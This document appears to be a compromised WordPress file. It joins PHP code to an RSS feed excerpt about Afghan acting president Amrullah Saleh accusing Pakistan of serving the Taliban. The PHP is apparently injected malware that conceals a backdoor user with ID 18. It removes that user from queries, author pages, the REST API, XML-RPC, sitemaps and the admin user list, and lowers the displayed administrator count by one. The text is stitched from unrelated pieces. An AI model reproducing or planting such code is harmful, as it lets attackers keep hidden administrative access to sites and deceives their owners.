add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
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        $author = get_queried_object();
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            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
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    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>Afghanistan&#8217;s acting president, Amrullah Saleh, is blunt in his criticism of Pakistan for collaborating with the Taliban to take over the country and promote terrorism and insurgency, resulting in the collapse of the government and the displacement of thousands of Afghans to safer areas. Saleh accused Pakistan of being at the Taliban&#8217;s &#8220;service.&#8221; “It&#8217;s apparent [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/amrullah-saleh-on-why-the-us-attempt-to-buy-cooperation-failed-the-entire-pakistan-is-at-the-talibans-service">Amrullah Saleh on Why the US Attempt to &#8216;Buy&#8217; Cooperation Failed: The Entire Pakistan is at the Taliban&#8217;s Service</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Afghanistan&#8217;s acting president, Amrullah Saleh, is blunt in his criticism of Pakistan for collaborating with the Taliban to take over the country and promote terrorism and insurgency, resulting in the collapse of the government and the displacement of thousands of Afghans to safer areas.</p>
<p>Saleh accused Pakistan of being at the Taliban&#8217;s &#8220;service.&#8221; “It&#8217;s apparent that the Taliban were never under siege; they relied on Pakistan for support. He stated, &#8220;Not sanctuaries, but the entire country of Pakistan was at the service of the Taliban.&#8221;</p>
<p>This isn&#8217;t the first time the Afghan president has made a personal assault on Pakistan. Saleh previously stated in a tweet that Afghanistan is &#8220;too vast for Pakistan to swallow and too big for Talibs to manage.&#8221; &#8220;Don&#8217;t include a chapter on humiliation and yielding to terror groups in your histories,&#8221; he wrote.</p>
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